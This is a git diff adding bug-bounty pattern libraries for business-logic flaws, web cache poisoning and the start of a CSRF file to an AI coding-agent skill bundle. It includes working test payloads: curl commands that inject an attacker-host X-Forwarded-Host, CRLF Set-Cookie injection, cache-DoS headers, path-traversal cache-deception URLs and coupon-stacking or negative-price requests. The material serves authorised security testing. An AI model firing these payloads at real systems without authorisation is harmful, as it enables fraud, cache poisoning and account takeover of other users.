Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

Phase 3: Pattern Libraries for 10 more hunt-* skills — operator-grade depth

Sachin Sharma7f7cb255519f
diff --git a/docs/disclosed-reports/hunt-business-logic.md b/docs/disclosed-reports/hunt-business-logic.md
new file mode 100644
index 0000000..fe04527
--- /dev/null
+++ b/docs/disclosed-reports/hunt-business-logic.md
@@ -0,0 +1,174 @@
+# hunt-business-logic — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-business-logic`. Operator-grade reference, not a complete enumeration. Cited examples here are widely-discussed industry classes, OWASP top-10 entries, and named incidents any reader can search and verify; uncited patterns are general operator knowledge from public e-commerce / SaaS disclosures, finance / fintech security postmortems, and conference talks.
+
+Business logic bugs pay because they cross the gap between "the server processed what the API said" and "the result violates the business model." The bug is almost never a coding mistake in the traditional sense — every individual handler does what it was written to do. The bug is in the *composition*: a sequence of correctly-implemented operations that, executed in an unexpected order, achieve an outcome no one intended. Negative quantities, state-machine reversal, coupon stacking, idempotency-key absence, trial-period reset, referral self-payouts — each pattern below is concrete dollars or concrete state on the line. Every entry includes the validation step that converts "this looks weird" into the dollar-or-PII impact the 7-Question Gate requires.
+
+## Cited Public Examples
+
+### OWASP API Security Top 10 — API6:2023 "Unrestricted Access to Sensitive Business Flows"
+- **Source:** OWASP API Security Top 10, 2023 edition. Authoritative reference at owasp.org/API-Security. Specifically API6 covers business-flow abuse: bulk-purchase scalping, mass account creation, scraping, comment spam, and other patterns where each individual request is valid but the *aggregate* is the abuse.
+- **Pattern shape:** A flow that is legitimate at the single-request scale becomes a business problem at the 1,000× scale. Defenses are typically rate-limit, captcha, or proof-of-work — when any of these are missing or bypassable, the flow is exploitable.
+- **Key trick:** Identify which flows the business *cares* about being slow. Account creation, OTP send, password reset, checkout, reservation booking. For each, what would 1,000 parallel executions cost or distort? That dollar figure is the bug's impact.
+- **Why it matters:** OWASP's normative framing converts "I can spam this endpoint" from a low-severity rate-limit observation into a categorized business-flow abuse with quantified impact. Cite this category in reports.
+
+### Capital One 2019 breach — business-logic-adjacent SSRF chain
+- **Source:** DOJ indictment of Paige Thompson (July 2019), Capital One disclosures, OCC's $80M fine order (August 2020). Intrusion combined a misconfigured WAF allowing SSRF with overly-broad IAM permissions. Verifiable via the indictment, OCC consent order, and Capital One's 8-K.
+- **Pattern shape:** Technical primitive was SSRF; the business-logic dimension was an IAM role with `s3:ListAllMyBuckets` and `s3:Get*` on data that should have required additional authorization. The IAM design assumed anyone reaching the metadata service was trusted enough — an assumption that failed when SSRF arrived.
+- **Key trick:** Cloud IAM is business logic encoded in policy. When IAM trusts the network perimeter, an SSRF becomes data exfil.
+- **Why it matters:** Treat the IAM role attached to a front-end web server as a business-policy artifact, not infrastructure.
+
+### Coupon / promo abuse class — e-commerce industry pattern
+- **Source:** Widely-discussed class across e-commerce bug-bounty programs (Shopify, BigCommerce, Walmart, Target). Featured in HackerOne hacktivity disclosures and in OWASP's business-flow-abuse documentation. Cite the class — specific reports vary by program.
+- **Pattern shape:** Coupons designed to be mutually exclusive (`SUMMER20`, `FIRSTORDER`, `LOYAL10`) are stackable when the validation logic checks each coupon independently rather than enforcing "one coupon per order" at checkout finalization. Alternatively, a coupon limited to "one use per account" is reusable across new accounts created at low cost.
+- **Key trick:** Race-condition the coupon application or send all coupons in a single multi-coupon body the validator wasn't designed to receive. Stacking pays direct dollars per execution.
+- **Why it matters:** Direct financial loss to the merchant per execution, infinitely repeatable until detected. Pays predictably on e-commerce programs.
+
+### Robinhood "infinite money glitch" (November 2019)
+- **Source:** Publicly documented bug where Robinhood permitted users to leverage borrowed margin to buy more securities than equity supported. Coverage at Bloomberg, CNBC, and SEC filings.
+- **Pattern shape:** Margin calculations didn't account for in-flight option premiums correctly. Users wrote covered calls whose premium credited as buying power, used to buy more shares that became collateral for more covered calls. Each operation valid; composition violated risk policy.
+- **Key trick:** Financial state machines with multiple in-flight settlements are rich attack surface. Anywhere money is "in transit" is a candidate for double-counting.
+- **Why it matters:** Settlement-timing double-counting recurs in any platform with margin, lending, staking, or escrow.
+
+---
+
+## Pattern Library
+
+### Negative quantity / negative price
+- **When to suspect:** Cart / order endpoint accepts a `quantity` or `price` parameter the server validates only for "is it a number."
+- **Test:** Add an item with negative quantity:
+ ```http
+ POST /api/cart/items HTTP/1.1
+ Content-Type: application/json
+
+ {"product_id": 42, "quantity": -3}
+ ```
+ Or negative price in a flow that accepts both: `{"product_id": 42, "quantity": 1, "price_override": -100}`.
+- **Validation:** Order total computes to a credit. Demonstrate end-to-end: the credit lands as wallet balance, store credit, or a refund issued to attacker payment method. A "negative price accepted in the cart" is not a bug — the credit must actually settle.
+- **Pay-grade rationale:** Critical when the credit settles into a withdrawable balance. Lower when only the cart total is wrong but checkout downstream rejects.
+
+### Currency swap mid-checkout
+- **When to suspect:** Multi-currency checkout where the server stores price in one currency but accepts a `currency` parameter from the client.
+- **Test:** Add product priced at $100 USD. At checkout, change currency to a low-value currency (`IDR`, `VND`, `KRW`) without changing the *value*: `{"amount": 100, "currency": "VND"}`. If server reads "100" as 100 VND (~$0.004) instead of 100 USD, you pay near-zero.
+- **Validation:** Payment provider charges 100 VND, order fulfills with goods worth $100 USD.
+- **Pay-grade rationale:** Critical. Direct financial loss per execution.
+
+### Decimal / scientific-notation overflow
+- **When to suspect:** Numeric fields parsed as double-precision float on the server (Python, JS, PHP).
+- **Test:** Submit prices or quantities as `1e308`, `1e-308`, `0.1+0.2`, `9999999999.99`. Float arithmetic produces non-obvious results: `0.1 + 0.2 === 0.30000000000000004` in JS; `Math.round(2.5)` is implementation-specific. Look for rounding-toward-zero on a multiplication that produces a price.
+- **Validation:** A specific input produces a price that rounds to 0 or to a smaller-than-expected value. Demonstrate the charged amount versus the listed price.
+- **Pay-grade rationale:** Medium to critical depending on the dollar gap.
+
+### Step-skip — bypass payment, hit fulfillment
+- **When to suspect:** Order flow is `cart → payment → fulfillment` with each step at a separate endpoint.
+- **Test:** Place an order normally. Capture the request to the fulfillment-trigger endpoint (`POST /api/orders/123/fulfill`). On a new attempt, navigate the cart → directly to the fulfillment endpoint, skipping payment. Variants: PUT the order status to `paid` directly, replay a previous successful payment-callback webhook against your new order ID, hit the post-payment redirect URL with a forged `success=true` parameter.
+- **Validation:** Order ships / digital good delivered without payment captured.
+- **Pay-grade rationale:** Critical.
+
+### State-machine reverse — mark shipped without paid
+- **When to suspect:** Order endpoint exposes an explicit `status` field, or status transitions are accessible via separate PATCH endpoints.
+- **Test:** Create an order in `pending`. Attempt to PATCH status: `pending → shipped` (skipping `paid`). Or `paid → refunded` while goods remain delivered. Or `cancelled → fulfilled`. The state machine should enforce valid transitions; many implementations only check role, not transition validity.
+- **Validation:** Forbidden transition succeeds, producing an inconsistent state with financial impact.
+- **Pay-grade rationale:** High to critical.
+
+### Coupon stacking (mutually-exclusive coupons applied together)
+- **When to suspect:** Cart accepts coupons via POST. Each coupon application returns updated total.
+- **Test:** Apply coupons that the UI says are exclusive in rapid succession, or in a single batch request:
+ ```http
+ POST /api/cart/coupons HTTP/1.1
+ Content-Type: application/json
+
+ {"codes": ["SUMMER20","FIRSTORDER","LOYAL10","NEWCUSTOMER","FREESHIP"]}
+ ```
+ Or race-condition individual applications using Turbo Intruder.
+- **Validation:** Final cart total reflects all coupons applied; verify the discount at checkout actually settles, not just the cart display.
+- **Pay-grade rationale:** High when the stacked discount exceeds policy and settles.
+
+### Referral self-redemption
+- **When to suspect:** Referral program credits the referrer when the referred user completes signup or first purchase.
+- **Test:** Create account A. Generate A's referral link. Use it to create account B from a separate browser / IP. Trigger the referral-payout (often the first-purchase event). Variants: create N accounts in parallel using your same referral code race-condition the payout limit; manipulate the `referrer_id` field directly in the signup POST to set yourself as your own referrer.
+- **Validation:** Referral credit lands in A's wallet/account. Demonstrate value: balance withdrawable, redeemable for goods, or convertible to another reward.
+- **Pay-grade rationale:** Medium to high; pays in proportion to per-referral payout × scale.
+
+### Email change without re-auth
+- **When to suspect:** Settings page allows changing primary email; the POST endpoint accepts the new address.
+- **Test:** From a hijacked session (no MFA challenge, no password re-prompt), POST a new email address to the change endpoint. If the new address becomes the account's recovery contact, the attacker now controls the password-reset path.
+- **Validation:** Password reset flow now delivers to attacker-controlled inbox.
+- **Pay-grade rationale:** Critical when persistence past password reset is achieved. Standard chain primitive.
+
+### Account-merge confusion
+- **When to suspect:** Application supports both password and SSO; merging accounts is supported.
+- **Test:** Create attacker account with email `[email protected]` via SSO (no email verification). Induce victim to sign up via password using the same email. If the system merges, attacker retains access.
+- **Validation:** Cross-account access demonstrated with unique markers.
+- **Pay-grade rationale:** High to critical depending on merge semantics. Common pre-ATO chain.
+
+### Invitation-token reuse
+- **When to suspect:** Org / team invite tokens delivered by email. Token allows the recipient to join the org.
+- **Test:** Accept an invite to a test org A. Replay the same invitation token against a different signup flow or call the accept endpoint a second time. If the token isn't burned, it joins an additional account or escalates the existing one.
+- **Validation:** Second redemption produces additional org membership or duplicates the privilege grant.
+- **Pay-grade rationale:** Medium to high.
+
+### Invoice manipulation — round-down truncation
+- **When to suspect:** Invoice generation displays prices to two decimals but stores higher precision internally.
+- **Test:** Order whose subtotal computes to `$0.004` per line × 1000 lines (`$4.00` displayed). Per-line rounding produces `$0.00` invoice while goods totaling $4 ship. Variants attack tax / shipping at $0.004 per item × 100 items.
+- **Validation:** Settled amount less than goods' aggregate value.
+- **Pay-grade rationale:** Medium; pays in scale.
+
+### Webhook replay — signed but not idempotent
+- **When to suspect:** Application consumes webhooks from Stripe / PayPal / Mailgun / Twilio. Webhook is signature-verified but the application processes it without checking whether it has already been processed.
+- **Test:** Capture a successful "payment received" webhook delivered to the application. Re-deliver it to the webhook endpoint (the application accepts because the signature is still valid). If the application credits the order again, idempotency is missing.
+- **Validation:** Order credited twice / refund processed twice / SMS sent twice / metered usage doubled.
+- **Pay-grade rationale:** High when financial.
+
+### Idempotency-key absence on retry-prone endpoints
+- **When to suspect:** Endpoint creates a side effect (charge, transfer, send) but doesn't accept an `Idempotency-Key` header or doesn't enforce idempotency when one is provided.
+- **Test:** Submit the same operation twice in parallel without an idempotency key. Or with the same key but different bodies (the implementation should reject; some don't and process the second body anyway).
+- **Validation:** Double-charge / double-credit / duplicate transfer occurs.
+- **Pay-grade rationale:** High. Common in fintech.
+
+### Trial-period reset — delete account → re-create
+- **When to suspect:** SaaS free trial tied to account email, with delete-and-recreate possible.
+- **Test:** Sign up with `[email protected]`, use trial, delete account. Re-create with same email or `[email protected]` (gmail `+` aliasing treated as distinct).
+- **Validation:** New trial granted, violating stated policy.
+- **Pay-grade rationale:** Low to medium; pays at scale.
+
+### Cart-state TOCTOU at checkout
+- **When to suspect:** Multi-step checkout: total computed at step 1, cart modified in step 2, payment captured in step 3 against the step-1 total.
+- **Test:** Begin with a cheap cart ($1.00). Capture the step-1 total. Modify cart to add expensive items. Submit payment-capture against the original total.
+- **Validation:** Payment captured at $1.00 while expensive cart ships.
+- **Pay-grade rationale:** Critical when reproducible.
+
+### Bulk-action authorization gap
+- **When to suspect:** "Bulk delete / archive / export" feature accepts a list of object IDs.
+- **Test:** Pass a list of IDs mixing objects you own with objects you don't. Variant: IDs from another tenant entirely.
+- **Validation:** Cross-tenant bulk modification or deletion succeeds.
+- **Pay-grade rationale:** High to critical.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### "Negative price accepted" but checkout downstream rejects
+- **Looks like:** You submitted `quantity: -3` to the cart API and the cart total now shows `-$300`. You're ready to report.
+- **Actually is:** Many cart APIs accept arbitrary client state in the cart, but the actual payment-capture step has its own validation that rejects negative totals or fails on the payment-provider side ("invalid amount"). The cart display is fiction; no money moves.
+- **How to disprove:** Carry the negative-cart all the way through checkout. Submit payment. Confirm one of: a credit lands in your account balance, a refund issues to your payment instrument, or store credit appears. If checkout errors out at payment, the cart-display bug is at most informational — no business impact, no submission. Per the 7-Question Gate Q6: concrete dollar/PII/state impact is required.
+
+### Race condition mistaken for a logic bug
+- **Looks like:** You ran a parallel-submission test and observed two successful credits where there should have been one. You categorize the bug as "logic flaw — referral payout multiplier."
+- **Actually is:** Race conditions are a separate bug class with different framing, different reproduction discipline, and different defenses (atomic transactions, unique constraints, advisory locks). Filing a race as "logic" muddies the recommendation and may produce wrong triage routing. Statistical Sampling discipline applies: did you reproduce N times out of N attempts? Race conditions often produce 1/10 or 2/100 — pure logic bugs reproduce 1/1.
+- **How to disprove:** Run 10 sequential (non-parallel) submissions. If they all produce the double-credit, it's a logic bug. If only parallel submissions trigger it, route to `hunt-race-condition` for proper validation. Severity may still be critical, but the report framing changes — race conditions require the parallel-attack PoC.
+
+### Rate-limit bypass framed as business logic
+- **Looks like:** You bypassed rate limits via X-Forwarded-For rotation and can submit 10,000 OTPs / signups / login attempts per second. You file as business-logic abuse.
+- **Actually is:** Rate-limit bypass alone is a security-control finding (often medium). It becomes business-logic abuse when you demonstrate a *concrete abuse case* the rate limit was meant to prevent — bulk account creation succeeding at scale producing measurable platform harm, OTP brute-force reaching account compromise, scalper-bot purchasing inventory faster than human users. The bypass is the primitive; the abuse case is the bug.
+- **How to disprove:** Identify the specific business outcome the rate limit was protecting. Demonstrate that outcome. "I bypassed X-Forwarded-For" without "and here are 1,000 accounts I created in 60 seconds, here's the storage cost / spam capability / scarce-inventory impact" is incomplete. Per the 7-Question Gate Q6: what does the victim *lose*?
+
+### "Looks like a logic bug" without a chain to dollars or PII
+- **Looks like:** You found an endpoint that accepts unexpected input — a `discount_percent: 200` field, a `force_status: completed` parameter — and the server returns 200 without error. You report a "business logic flaw."
+- **Actually is:** Accepting unexpected input is normal. The bug requires demonstrating that the unexpected input *changed an outcome that matters*. A 200 OK with the discount silently ignored downstream is not a finding. A 200 OK with the discount actually applied to a captured payment is.
+- **How to disprove:** Trace the unexpected input through the entire pipeline. Inspect the resulting object via a separate GET. Did the field land where it shouldn't have? Did the discount apply at checkout? Did the status flip? If the server gracefully ignored the input, no finding. Open a second test account and confirm via direct inspection that the bad state actually persists and reaches a money / data / privilege outcome.
+
+### Coupon stacking that exceeds 100% but doesn't withdraw
+- **Looks like:** You stacked five coupons and the cart shows `-$50.00` (cart owes you $50). You report as critical.
+- **Actually is:** Many e-commerce systems cap the applied discount at 100% silently — the cart math shows the over-stack but the captured payment is `$0.00`, and the surplus doesn't issue as a refund or credit. Free goods are an impact; free goods *plus a refund* is a bigger impact, but only one of these is actually happening.
+- **How to disprove:** Complete checkout. Inspect actual settled amount. Inspect whether a refund was generated. If you got the goods for free, that's the impact — report it as free goods, not as a refund-extraction. If you also got a refund, document the refund settling into a withdrawable payment method. Severity follows actual impact, not cart display.
diff --git a/docs/disclosed-reports/hunt-cache-poison.md b/docs/disclosed-reports/hunt-cache-poison.md
new file mode 100644
index 0000000..35fcc2a
--- /dev/null
+++ b/docs/disclosed-reports/hunt-cache-poison.md
@@ -0,0 +1,143 @@
+# hunt-cache-poison — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-cache-poison`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public cases that any reader can search and verify; uncited patterns are general operator knowledge from public bounty disclosures, CVEs, OWASP guidance, and conference research.
+
+Cache poisoning is the highest-leverage class of HTTP bug — one request stored in a shared cache reaches every subsequent visitor until the entry expires. The economic shape is unique: nearly all other bug classes pay per-victim, but cache poisoning pays per-CDN-edge. The patterns below focus on the unkeyed-header primitive that recurs in James Kettle's research, the path-extension Cache Deception primitive named by Omer Gil, and the operational hygiene needed to confirm a real cross-user poison vs. a private cache misread.
+
+## Cited Public Examples
+
+### James Kettle — "Practical Web Cache Poisoning" (PortSwigger, 2018-2024)
+- **Source:** James Kettle, Director of Research at PortSwigger. The original "Practical Web Cache Poisoning" research was published in 2018 and presented at Black Hat USA 2018 / DEF CON. The follow-up "Web Cache Entanglement" was published in 2020 and "Smashing the State Machine" extended the line of attack into cache-key-aware exploitation through 2023. All papers are public at portswigger.net/research, cite the author/topic.
+- **Pattern shape:** A request header (`X-Forwarded-Host`, `X-Original-URL`, `X-Forwarded-Scheme`, `X-Host`, or vendor-specific equivalents) is reflected into the response body (canonical link tags, JS source URLs, redirect Location headers, CSP `report-uri` URIs) but is *not* part of the cache key. The cache stores the poisoned response keyed by the URL alone. The next legitimate visitor to that URL receives the attacker's payload reflected as a same-origin script source.
+- **Key trick:** Kettle's Burp extension Param Miner systematically fuzzes header names against a target's cache, watching for body changes when an unkeyed input is varied. The "cache buster" technique — appending a random query string that the cache treats as keyed but the app ignores — lets the operator safely test without poisoning the production cache for real users.
+- **Why it matters:** This research established the entire class of unkeyed-input cache poisoning and gave operators the tooling (Param Miner) to find it systematically. Any CDN-fronted target in 2024-2026 is still a candidate because new header reflections appear with every framework upgrade. Citing the research in a report shortens triage by demonstrating the bug class is known and paid in major programs (Mozilla, Red Hat, GitHub, US-CERT-tracked CVEs).
+
+### Omer Gil — "Web Cache Deception" (2017)
+- **Source:** Omer Gil, security researcher. Original blog post and Black Hat USA 2017 talk titled "Web Cache Deception Attack." The technique is documented in the OWASP Web Security Testing Guide and has its own CWE entry (CWE-444 family adjacent).
+- **Pattern shape:** A request to a dynamic, authenticated URL (`/account/profile`, `/api/me`, `/dashboard`) is rewritten by appending a fake static extension (`.css`, `.jpg`, `.png`, `.js`). The web framework normalizes the path and serves the same authenticated, user-specific HTML. The CDN sees a `.css` (or other static extension) and applies aggressive caching rules — including caching the response publicly without regard to the `Cache-Control: private` header. The attacker then fetches the same path without authentication and receives the victim's account data.
+- **Key trick:** The deception works because two systems disagree about the request: the origin treats `/account/profile/x.css` as `/account/profile` (path normalization), while the CDN treats it as a static asset. The operator confirms by fetching the deceptive URL from an attacker session and from a victim session, then re-fetching from a clean third client — if the third client sees the victim's data, the cache deception is confirmed.
+- **Why it matters:** Gil's research named this primitive and made it submittable to programs. It is still found in 2024-2026 on platforms that adopt CDN caching without auditing path-normalization behavior on the origin. Many programs treat Cache Deception as Critical because impact is direct PII / token disclosure to anyone who knows the URL.
+
+### Varnish HTTP/2 cache poisoning (VSV00013, 2022)
+- **Source:** Varnish Software security advisory VSV00013, October 2022. Affects Varnish Cache and Varnish Enterprise when handling HTTP/2 requests. Public advisory at varnish-cache.org.
+- **Pattern shape:** A Varnish-fronted HTTP/2 endpoint mishandled certain pseudo-header combinations, allowing the request smuggler to inject a second request that Varnish treated as belonging to a different client. The downstream effect was cache key confusion — responses to one user's request could be stored under another user's cache key.
+- **Key trick:** The vulnerability sits at the protocol boundary (HTTP/2 frontend → HTTP/1.1 backend), where Varnish parsed pseudo-headers in a way that disagreed with the upstream Apache/Nginx. Operators fingerprinting Varnish version via `Via:` and `X-Varnish` headers can map known-vulnerable releases to advisories.
+- **Why it matters:** This is a verifiable CDN-layer CVE, not just framework misconfiguration. It shows that cache poisoning can come from the *cache software itself*, not just from origin misconfig. Operators on CDN-fronted programs should fingerprint the cache layer version and check known CVEs before assuming the bug must be at the application layer.
+
+### Apache Traffic Server CVE-2021-37150 (header smuggling → cache poisoning)
+- **Source:** Apache Software Foundation security advisory, October 2021. CVE-2021-37150. Affects Apache Traffic Server (ATS) versions prior to 8.1.2 and 9.0.2.
+- **Pattern shape:** ATS handled certain malformed request headers in a way that allowed an attacker to inject additional headers into the upstream request. When combined with an upstream that reflected those headers into responses, the attacker could poison the cache with content of their choosing.
+- **Key trick:** The primitive is "cache layer accepts a header pattern the origin treats as authoritative." Operators identify ATS via `Server: ATS/x.y.z` or `Via: ats/x.y.z` and check version.
+- **Why it matters:** Cache-layer CVEs of this shape are paid in bounty programs whose stacks include the affected version. Recon for cache-layer version is cheap and high-yield.
+
+---
+
+## Pattern Library
+
+### Unkeyed `X-Forwarded-Host` reflection
+- **When to suspect:** Response carries `Cache-Control: public` or `Age:` header. Body or response headers contain the request `Host` value (canonical link, JS src, CSP report-uri).
+- **Test:** Send a cache-buster request: `curl -H 'X-Forwarded-Host: evil.attacker.tld' 'https://target/page?cb=$(uuidgen)'`. Inspect the response — does `evil.attacker.tld` appear in the body? Now without the header but with the same `cb=` value: does the poisoned body persist?
+- **Validation:** A *clean* curl (no header, same `cb=` value) from a *different* IP returns the poisoned response within the cache TTL window. The attacker payload appears in a script tag, link tag, or redirect.
+- **Pay-grade rationale:** High to critical. Persistent JS-source poisoning chains directly to mass XSS.
+
+### Unkeyed `X-Original-URL` / `X-Rewrite-URL`
+- **When to suspect:** Application is .NET or Java behind an IIS / nginx / Apache rewrite layer. Server respects these headers to override the request path internally but does not include them in the cache key.
+- **Test:** `curl -H 'X-Original-URL: /admin' 'https://target/public-page?cb=...'`. Observe whether the response body contains admin-page content. Then fetch `/public-page?cb=...` cleanly.
+- **Validation:** Clean request returns admin-page content from the cache.
+- **Pay-grade rationale:** Critical when admin content is exposed to unauthenticated visitors.
+
+### `X-Forwarded-Scheme` / `X-Forwarded-Proto` redirect loop / SSL strip
+- **When to suspect:** Application generates absolute URLs based on `X-Forwarded-Scheme`. Setting `X-Forwarded-Scheme: http` on an HTTPS request produces internal redirects to `http://target/...`.
+- **Test:** `curl -H 'X-Forwarded-Scheme: http' 'https://target/login?cb=...'`. Inspect Location header in the cached response.
+- **Validation:** Clean request returns a 301/302 to `http://target/login`, downgrading any victim's connection to HTTP and enabling MITM or cookie exposure on insecure transport.
+- **Pay-grade rationale:** Medium to high — DoS plus credential-exposure chain.
+
+### Web Cache Deception via static extension append
+- **When to suspect:** Authenticated, user-specific endpoint (`/account`, `/api/me`, `/dashboard`). Origin uses permissive path routing (Rails, Express, FastAPI). CDN treats static extensions as cacheable.
+- **Test:** Authenticate as victim. `curl -b "session=VICTIM" 'https://target/account/x.css'`. Inspect response — is it the victim's account HTML with `Content-Type: text/html`? Now fetch `https://target/account/x.css` without auth from a clean session.
+- **Validation:** Clean fetch returns the victim's account HTML — PII, tokens, session indicators visible.
+- **Pay-grade rationale:** Critical. Direct PII / session-token disclosure to anyone who guesses or is given the URL.
+
+### Cache Deception via path traversal in extension
+- **When to suspect:** Origin treats `/account/profile/..%2F..%2Fadmin` as `/admin` after URL decode. CDN treats the path verbatim and caches under the literal key.
+- **Test:** `curl -b "session=ADMIN" 'https://target/public-asset.css/..%2F..%2Fadmin'`. Inspect content. Then fetch the same URL cleanly.
+- **Validation:** Clean fetch returns admin content cached under a public-asset-looking URL.
+- **Pay-grade rationale:** Critical.
+
+### HTTP Parameter Pollution → cache-key bypass
+- **When to suspect:** Application uses one of `?param=` instances; cache uses the full querystring as key.
+- **Test:** `?param=safe&param=<payload>` — backend reads last value, cache keys on full string. Or `?param=<payload>&utm_source=x` — cache normalizes UTM params away, key drops the payload but backend still sees it.
+- **Validation:** Clean request to `?param=safe` returns the cached payload-tainted response.
+- **Pay-grade rationale:** High.
+
+### Cache-key normalization mismatch (trailing slash, case)
+- **When to suspect:** Cache treats `/Account` and `/account` as distinct keys; origin normalizes case. Same for trailing slash, encoded slashes (`%2F`), and unicode equivalents.
+- **Test:** Poison `/Account?cb=x` with a header attack. Victim navigates to `/account?cb=x` and either receives the poison (origin returns the user's account page; cache may serve the cached response) or doesn't. The mismatch can also be exploited in reverse — poison a path the victim is likely to hit by tricking the cache into treating the case-variant as the same key.
+- **Validation:** Confirmed cache HIT on the normalized variant returning the poisoned body.
+- **Pay-grade rationale:** Medium to high depending on what content is poisoned.
+
+### Cache poisoning via newline injection in unsanitized header reflection
+- **When to suspect:** Header value is reflected into a response header (Location, Link) without CRLF filtering. Older proxies and some custom servers fail to filter `\r\n` in header values.
+- **Test:** `curl -H $'X-Forwarded-Host: evil.tld\r\nSet-Cookie: attacker=1; Path=/' 'https://target/page'`. If the proxy reflects the header into a Set-Cookie or another header, the cache stores the injected header.
+- **Validation:** Clean fetch returns the injected Set-Cookie or other header attached to the cached response.
+- **Pay-grade rationale:** High. CRLF-in-cache poisoning is a force multiplier for session fixation.
+
+### Content-type confusion (cached JSON served as HTML)
+- **When to suspect:** Endpoint returns JSON for one request type and HTML for another. Cache stores response keyed on URL alone; the next request gets the wrong content-type.
+- **Test:** Send a request that triggers HTML (e.g. `Accept: text/html` and a path that errors); cache stores it. Send a request that should get JSON (Accept: application/json) — cache may serve the HTML, which could include a polyglot XSS payload.
+- **Validation:** Clean fetch with JSON-expecting client returns HTML with embedded script.
+- **Pay-grade rationale:** Medium to high if the wrong content-type leads to script execution.
+
+### Cache DoS via cached error response
+- **When to suspect:** Origin returns 4xx or 5xx for certain malformed inputs (bad headers, oversized headers, unparseable cookies). CDN does not have a "do not cache errors" rule.
+- **Test:** `curl -H 'X-Forwarded-Host: $(python -c "print(\"A\"*8192)")' 'https://target/critical-asset.js?cb=...'`. Backend returns 502; CDN caches it. Now fetch `https://target/critical-asset.js?cb=...` cleanly.
+- **Validation:** Clean fetch returns 502 from cache, breaking the asset for all users routed through that edge.
+- **Pay-grade rationale:** Medium to high. Service denial scoped to CDN edge.
+
+### Vary header omission cross-tenant bleed
+- **When to suspect:** Multi-tenant application serves tenant-specific content based on `Host`, a custom tenant header, or a cookie. Cache does not include the tenant key in `Vary`.
+- **Test:** Fetch tenant A's page from cache. Fetch the same URL with tenant B's host/header. If the cache returns tenant A's body to tenant B, the cache leaks cross-tenant.
+- **Validation:** Tenant B's user receives tenant A's account data.
+- **Pay-grade rationale:** Critical.
+
+### Cookie poisoning via reflected Set-Cookie
+- **When to suspect:** Application reflects a value from a cookie into the response and the value is also part of `Set-Cookie` in a cached response.
+- **Test:** Visit `/page` with a malicious cookie value. The response Set-Cookie or response body reflects the cookie. If cached, future visitors receive the cached Set-Cookie or reflected content.
+- **Validation:** A second client fetching cleanly gets the poisoned Set-Cookie or reflected payload.
+- **Pay-grade rationale:** High.
+
+### Persistent vs. session cache distinction
+- **When to suspect:** Some CDNs store responses per-edge (Cloudflare PoPs, Akamai edges). The poison may only affect one edge.
+- **Test:** Use a routing technique to send the poisoning request through a target PoP (`curl --resolve target.tld:443:<edge-ip>`). Confirm by fetching from a second client routed through the same PoP.
+- **Validation:** Same-PoP victim receives the poison; victim on a different PoP does not. Document the blast radius accurately.
+- **Pay-grade rationale:** Scales with blast radius — single edge is Medium, global is Critical.
+
+### `pragma: no-cache` / `Cache-Control: private` bypass via static-asset rule
+- **When to suspect:** Application sets `Cache-Control: private` on user pages, but the CDN has a global rule "cache `.css` for 1 hour regardless of Cache-Control."
+- **Test:** Web Cache Deception path technique combined with the static-asset rule.
+- **Validation:** Authenticated content cached despite `private` header.
+- **Pay-grade rationale:** Critical.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### Cache HIT on next request mistaken for poisoning success
+- **Looks like:** First request includes the poison header, returns 200. Second request without the header returns `X-Cache: HIT`. Operator claims poisoning works.
+- **Actually is:** The cache may be serving the *clean* response that was stored before the operator's poisoning attempt, not the poisoned one. The HIT only proves caching, not poisoning.
+- **How to disprove:** Inspect the cached body. Does it contain the attacker payload (unique marker string)? If the body is the original clean response, no poisoning. Use a cache-buster (`?cb=$(uuidgen)`) to force a fresh cache entry, send the poisoning request, then verify the next request to the same `cb=` value returns the payload.
+
+### Param Miner finds an unkeyed header but no cross-user impact
+- **Looks like:** Param Miner highlights `X-Forwarded-Host` as having an effect on the response body. Operator wants to file as cache poisoning.
+- **Actually is:** Many endpoints reflect headers in response bodies but are not cached at all, or are only cached privately (per-user). Without a public cache storing the poisoned response, there is no cross-user impact.
+- **How to disprove:** Confirm `Cache-Control: public` and `Age:` increments on subsequent requests. Confirm a *separate* client (different IP, different cookie) receives the poisoned response. If only your session sees it, you have a header-reflection finding (still possibly XSS) but not cache poisoning.
+
+### Cache Deception "succeeded" but file is served `attachment`
+- **Looks like:** `curl -b "session=VICTIM" 'https://target/account/x.css'` returns the victim's HTML, attacker fetches and gets HTML too.
+- **Actually is:** Verify the response is served with a content-type the attacker can read and exploit. If the response has `Content-Disposition: attachment` and `Content-Type: application/octet-stream`, the browser will download rather than render. Still PII disclosure, but no XSS chain.
+- **How to disprove:** Inspect headers. If served as `text/html` and renderable, full Cache Deception. If forced download, downgrade to "authenticated content disclosure via cache" — still pays, but the impact wording differs.
+
+### Single-edge poisoning claimed as global
+- **Looks like:** Operator poisons a Cloudflare PoP in Frankfurt and the test client (also in Frankfurt) sees the poison. Reports as "global cache poisoning."
+- **Actually is:** Cloudflare and similar CDNs maintain per-PoP caches. The poison may only affect the one PoP. Real impact is scoped to whoever routes through that edge.
+- **How to disprove:** Use `--resolve` to route the verification request through a different PoP (e.g., Cloudflare DNS in Tokyo). If the alternate PoP returns the clean response, the poisoning is single-edge. Report accurately — single-edge is still impact but is Medium-tier, not Critical.
diff --git a/docs/disclosed-reports/hunt-csrf.md b/docs/disclosed-reports/hunt-csrf.md
new file mode 100644
index 0000000..577b0a5
--- /dev/null
+++ b/docs/disclosed-reports/hunt-csrf.md
@@ -0,0 +1,137 @@
+# hunt-csrf — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-csrf`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public cases that any reader can search and verify; uncited patterns are general operator knowledge from public bounty disclosures, CVEs, OWASP guidance, and conference research.
+
+CSRF pays when the affected action has a real account-level or financial consequence, when the attacker only needs the victim to visit a page (no click required), and when the chain reaches account takeover or persistent data corruption. Modern browsers (Chrome 80+ with SameSite=Lax default) have shifted the bar — the easy "POST CSRF without a token" wins are rarer, but the surface has shifted to method-confusion, JSON-as-text/plain bypass, SameSite=None overrides for cross-site embeds, subdomain trust, and OAuth `state` parameter mishandling. The patterns below focus on operator-grade primitives that still pay in 2024-2026.
+
+## Cited Public Examples
+
+### Gmail email-filter CSRF (2007)
